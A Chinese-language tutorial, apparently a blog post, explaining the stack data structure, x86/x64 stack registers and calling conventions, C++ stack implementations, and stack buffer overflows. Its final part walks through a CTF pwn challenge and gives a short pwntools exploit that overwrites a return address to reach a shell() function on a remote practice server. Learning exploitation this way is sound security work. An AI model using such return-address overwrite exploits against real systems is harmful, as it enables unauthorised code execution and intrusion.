栈的介绍
栈是一种只能从表的一端存取数据且遵循 “先进后出”/“后进先出 (Last in First Out) “ 原则的线性存储结构,主要操作有入栈(push)和出栈(pop),往上叫栈顶,往下叫栈底
栈
在汇编中栈入栈和出栈的操作形式,先从ESP/RSP/SP寄存器(栈指针)指向的内存中读取数据写入其他内存地址或者基础,再根据不同的系统架构将栈指针的数值增加4(32位)或者增加8(64位)
在 x86 处理器中
- EIP (Instruction Pointer) 是指令寄存器,指向处理器下条等待执行的指令地址 (代码段内的偏移量),每次执行完相应汇编指令 EIP 值就会增加。
- ESP (Stack Pointer) 是堆栈指针寄存器,存放执行函数对应栈帧的栈顶地址 (也是系统栈的顶部) 低地址,且始终指向栈顶;
- EBP (Base Pointer) 是栈帧基址指针寄存器,存放执行函数对应栈帧的栈底地址 高地址,用于 C 运行库访问栈中的局部变量和参数。
- 这些在入栈和出栈时会发生变化
被调用的函数的参数压入栈内,返回地址在最顶上(星盟安全)
基础的入栈出栈流程
1 2 3 4
| MOV EAX, 1234h MOV EBX, 5678h PUSH EAX PUSH EBX
|
入栈
POP指令是PUSH指令的反操作
出栈
栈与函数调用
栈空间是计算机内存中指定的一段内存区域,有一些指针指向相应的内存地址,在X86架构中这个指针位于ESP寄存器,x86-64平台为RSP寄存器,栈主要的几个用途是
- 存储局部变量
- 执行CALL指令调用函数时,保存函数地址以便函数结束时后正确返回
- 传递函数参数
在执行程序时,可以看作是一连串的函数调用,当一个函数执行完毕时,程序需要回调指令的下一条命令(CALL指令)处继续执行,函数调用过程通常使用堆栈实现
函数调用栈典型的内存布局
具体调用流程
- 首先将调用函数的参数按照逆序依次入栈,如果没有,则跳过这个步骤
- 然后将函数进行调用的下一条指令地址作为返回地址压入栈内,这样调用函数的eip(指令地址)的信息就能保存
- 之后将调用函数的局部变量等数据压入栈内
需要注意的是,32 位和 64 位程序有以下简单的区别
- x86
- x64
- System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
- 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。
实现一个栈
使用STL实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| /** * @Author: Po7mn1 * @Date: 2021-08-08 * @Last Modified by: rYu1nser * @Last Modified time: 2021-08-08 */ #include<bits\stdc++.h> using namespace std; int main(){ // 临时存储栈值 int tmp = 0; stack<int> aStack; // 1,2,3顺序推入栈中 aStack.push(1); aStack.push(2); aStack.push(3); // 顺序输出栈,对应结果3,2,1 while (!aStack.empty()) { tmp = aStack.top(); aStack.pop(); cout << tmp << endl; } return 0; }
|
实现一个完整的顺序栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| /** * @Author: Po7mn1 * @Date: 2021-08-08 * @Last Modified by: Po7mn1 * @Last Modified time: 2021-08-08 */ // // Created by rYu1nser on 2023/4/8. // #include "iostream" using namespace std; //栈的最大容量 const int MAXSIZE = 100; class SeqStack{ private: int top; // 栈顶指针 int data[MAXSIZE]; // 存储战中的元素的数组 public: SeqStack(); // 构造函数 bool isEmpty(); // 判断栈是否为空 bool isFull(); // 判断栈是否是满的 void push(int ele); // 入栈 int pop(); // 出栈 int getTop(); // 获取栈顶元素 }; SeqStack::SeqStack() { top = -1; // 初始化栈顶指针为-1 } bool SeqStack::isEmpty() { return top == -1; // 如果栈顶为-1说明是空的 } bool SeqStack::isFull() { return top == MAXSIZE - 1; // 如果栈顶等于栈的初始化大小说明是满的 } //入栈操作 void SeqStack::push(int ele){ if (isFull()){ cout << "Stack overflow" << endl; return; } data[++top] = ele; } //出栈 int SeqStack::pop(){ if (isEmpty()){ cout << "Stack underflow" << endl; return -1; } return data[top--]; } //获取栈顶 int SeqStack::getTop(){ if (isEmpty()){ cout << "Stack is empty" << endl; return -1; } return data[top]; } int main(){ int a; SeqStack stack1; SeqStack stack2; stack1.push(1); stack1.push(2); stack1.push(3); stack2.push(4); stack2.push(5); stack2.push(6); cout << "STACK 1" << endl; while(!stack1.isEmpty()){ a = stack1.getTop(); stack1.pop(); cout << a << endl; } cout << "STACK 2" << endl; cout << stack2.pop() << endl; stack2.push(233); cout << stack2.pop() << endl; stack2.push(2333); cout << stack2.pop() << endl; return 0; }
|
输出
1 2 3 4 5 6 7 8
| STACK 1 3 2 1 STACK 2 6 233 2333
|
缓冲区溢出
缓冲区溢出(Buffer overflow)
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是
- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好地控制。
建议查看CTF-Wiki:栈溢出原理 - CTF Wiki (ctf-wiki.org)
栈溢出

栈溢出漏洞
栈溢出漏洞是指攻击者利用栈溢出漏洞覆盖程序返回地址,从而执行恶意代码的攻击方式。
攻击者通常会在输入数据中注入超出缓冲区边界的数据,导致栈溢出(往往发生在局部变量位置),然后覆盖程序返回地址为指向攻击者精心构造的恶意代码的地址。当程序执行完当前函数后,会跳转到攻击者注入的恶意代码处,进而执行攻击者的指令,获取敏感信息或者实现其他恶意行为。
举一个简单的例子
例题:CTF之PWN:Stack
查看保护措施,发现开启了NX保护
NX 即 No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。

IDA反编译代码

main函数里出现一个vuln(),直接跟进,发现gets()函数(gets函数是不安全,这个函数不检查目标数组是否能够容纳输入,分配空间不足会直接导致数组越界,会造成缓冲区溢出的问题)

查看vuln()函数的地址

查看shell()函数的地址

最终要覆盖掉这个返回地址r

最终exp
1 2 3 4 5 6 7 8
| from pwn import * # p = process("./stack") p = remote("node4.buuoj.cn", 27219) shell = 0x400537 payload = b'a' * 18 + p64(0x40054E)+ p64(shell) #p.recvuntil("") p.sendline(payload) p.interactive()
|

动态调试

gdb打开,r,ni一步一步走

输入 b'a'*24
后段错误
Reference